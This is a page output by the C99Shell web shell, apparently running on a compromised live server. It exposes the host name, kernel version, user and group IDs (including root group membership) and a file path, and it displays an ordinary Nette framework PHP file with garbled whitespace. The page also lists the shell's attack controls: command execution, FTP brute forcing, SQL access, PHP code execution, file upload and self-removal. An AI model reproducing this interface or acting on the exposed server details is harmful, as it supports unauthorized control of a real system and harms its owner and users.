!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/nette/schema/src/Schema/   drwxr-xr-x
Free 28.3 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Helpers.php (2.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of the Nette Framework (https://nette.org)
 * Copyright (c) 2004 David Grudl (https://davidgrudl.com)
 */

declare(strict_types=1);

namespace 
Nette\Schema;

use 
Nette;
use 
Nette\Utils\Reflection;


/**
 * @internal
 */
final class Helpers
{
    use 
Nette\StaticClass;

    public const 
PREVENT_MERGING '_prevent_merging';


    
/**
     * Merges dataset. Left has higher priority than right one.
     * @return array|string
     */
    
public static function merge($value$base)
    {
        if (
is_array($value) && isset($value[self::PREVENT_MERGING])) {
            unset(
$value[self::PREVENT_MERGING]);
            return 
$value;
        }

        if (
is_array($value) && is_array($base)) {
            
$index 0;
            foreach (
$value as $key => $val) {
                if (
$key === $index) {
                    
$base[] = $val;
                    
$index++;
                } else {
                    
$base[$key] = static::merge($val$base[$key] ?? null);
                }
            }
            return 
$base;

        } elseif (
$value === null && is_array($base)) {
            return 
$base;

        } else {
            return 
$value;
        }
    }


    public static function 
getPropertyType(\ReflectionProperty $prop): ?string
    
{
        if (!
class_exists(Nette\Utils\Type::class)) {
            throw new 
Nette\NotSupportedException('Expect::from() requires nette/utils 3.x');
        } elseif (
$type Nette\Utils\Type::fromReflection($prop)) {
            return (string) 
$type;
        } elseif (
$type preg_replace('#\s.*#''', (string) self::parseAnnotation($prop'var'))) {
            
$class Reflection::getPropertyDeclaringClass($prop);
            return 
preg_replace_callback('#[\w\\\\]+#', function ($m) use ($class) {
                return 
Reflection::expandClassName($m[0], $class);
            }, 
$type);
        }
        return 
null;
    }


    
/**
     * Returns an annotation value.
     * @param  \ReflectionProperty  $ref
     */
    
public static function parseAnnotation(\Reflector $refstring $name): ?string
    
{
        if (!
Reflection::areCommentsAvailable()) {
            throw new 
Nette\InvalidStateException('You have to enable phpDoc comments in opcode cache.');
        }
        
$re '#[\s*]@' preg_quote($name'#') . '(?=\s|$)(?:[ \t]+([^@\s]\S*))?#';
        if (
$ref->getDocComment() && preg_match($retrim($ref->getDocComment(), '/*'), $m)) {
            return 
$m[1] ?? '';
        }
        return 
null;
    }


    
/**
     * @param  mixed  $value
     */
    
public static function formatValue($value): string
    
{
        if (
is_object($value)) {
            return 
'object ' get_class($value);
        } elseif (
is_string($value)) {
            return 
"'" Nette\Utils\Strings::truncate($value15'...') . "'";
        } elseif (
is_scalar($value)) {
            return 
var_export($valuetrue);
        } else {
            return 
strtolower(gettype($value));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.003 ]--